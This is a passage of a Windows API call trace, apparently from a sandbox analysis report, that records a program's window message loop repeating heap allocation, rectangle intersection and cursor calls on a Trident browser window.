(in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.277] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.277] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.277] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.277] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.277] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.277] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.277] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.277] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.277] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.277] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.277] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.277] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.277] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.277] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.277] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.277] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.277] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.277] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.277] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.277] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.277] GetCursor () returned 0x10003 [0084.277] GetCurrentThreadId () returned 0xcd8 [0084.278] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.278] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.278] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.278] GetMessageTime () returned 212676 [0084.278] GetMessagePos () returned 0x218027c [0084.278] GetCapture () returned 0x0 [0084.278] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.278] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.278] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.278] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.278] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.278] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.278] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.278] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.278] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.278] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.278] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.278] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.278] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.278] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.278] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.278] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.278] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.278] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.278] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.278] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.278] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.279] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.279] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.279] GetCurrentThreadId () returned 0xcd8 [0084.279] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.279] GetCurrentThreadId () returned 0xcd8 [0084.279] GetCurrentThreadId () returned 0xcd8 [0084.279] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.279] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.279] NtdllDefWindowProc_W () returned 0x0 [0084.279] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.279] GetCurrentThreadId () returned 0xcd8 [0084.279] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.280] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.280] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.280] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.280] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.280] GetCurrentThreadId () returned 0xcd8 [0084.280] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.280] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.281] GetMessageTime () returned 212676 [0084.281] GetMessagePos () returned 0x218027c [0084.281] GetCapture () returned 0x0 [0084.281] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.281] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.281] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.281] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.281] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.281] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.281] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.281] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.281] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.281] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.281] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.281] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.281] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.281] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.281] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.281] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.281] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.281] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.281] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.281] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.281] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.281] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.281] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.281] GetCursor () returned 0x10003 [0084.281] GetCurrentThreadId () returned 0xcd8 [0084.281] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.282] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.282] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.282] GetMessageTime () returned 212676 [0084.282] GetMessagePos () returned 0x218027c [0084.282] GetCapture () returned 0x0 [0084.282] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.282] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.282] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.282] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.282] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.282] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.282] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.282] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.282] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.282] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.282] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.282] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.282] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.282] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.282] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.282] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.282] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.282] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.282] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.282] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.282] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.282] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.283] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.283] GetCurrentThreadId () returned 0xcd8 [0084.283] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.283] GetCurrentThreadId () returned 0xcd8 [0084.283] GetCurrentThreadId () returned 0xcd8 [0084.283] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.283] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.283] NtdllDefWindowProc_W () returned 0x0 [0084.283] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.283] GetCurrentThreadId () returned 0xcd8 [0084.283] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.284] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.284] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.284] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.284] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.284] GetCurrentThreadId () returned 0xcd8 [0084.284] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.284] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.284] GetMessageTime () returned 212676 [0084.284] GetMessagePos () returned 0x218027c [0084.284] GetCapture () returned 0x0 [0084.284] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.284] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.284] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.284] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.284] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.284] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.284] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.284] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.284] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.284] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.284] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.284] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.284] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.284] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.284] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.284] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.284] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.284] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.284] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.284] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.285] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.285] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.285] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.285] GetCursor () returned 0x10003 [0084.285] GetCurrentThreadId () returned 0xcd8 [0084.285] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.285] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.285] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.285] GetMessageTime () returned 212676 [0084.285] GetMessagePos () returned 0x218027c [0084.285] GetCapture () returned 0x0 [0084.285] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.285] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.285] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.285] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.285] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.285] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.285] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.285] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.285] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.285] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.285] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.285] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.285] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.285] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.285] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.285] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.286] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.286] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.286] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.286] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.286] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.286] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.286] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.286] GetCurrentThreadId () returned 0xcd8 [0084.286] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.286] GetCurrentThreadId () returned 0xcd8 [0084.286] GetCurrentThreadId () returned 0xcd8 [0084.286] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.286] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.286] NtdllDefWindowProc_W () returned 0x0 [0084.287] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.287] GetCurrentThreadId () returned 0xcd8 [0084.287] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.287] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.287] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.287] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.287] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.287] GetCurrentThreadId () returned 0xcd8 [0084.287] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.287] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.287] GetMessageTime () returned 212676 [0084.287] GetMessagePos () returned 0x218027c [0084.287] GetCapture () returned 0x0 [0084.287] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.287] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.287] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.287] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.287] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.288] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.288] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.288] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.288] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.288] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.288] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.288] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.288] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.288] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.288] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.288] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.288] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.288] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.288] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.288] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.288] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.288] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.288] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.288] GetCursor () returned 0x10003 [0084.288] GetCurrentThreadId () returned 0xcd8 [0084.288] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.288] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.288] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.288] GetMessageTime () returned 212676 [0084.288] GetMessagePos () returned 0x218027c [0084.288] GetCapture () returned 0x0 [0084.289] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.289] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.289] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.289] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.289] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.289] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.289] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) 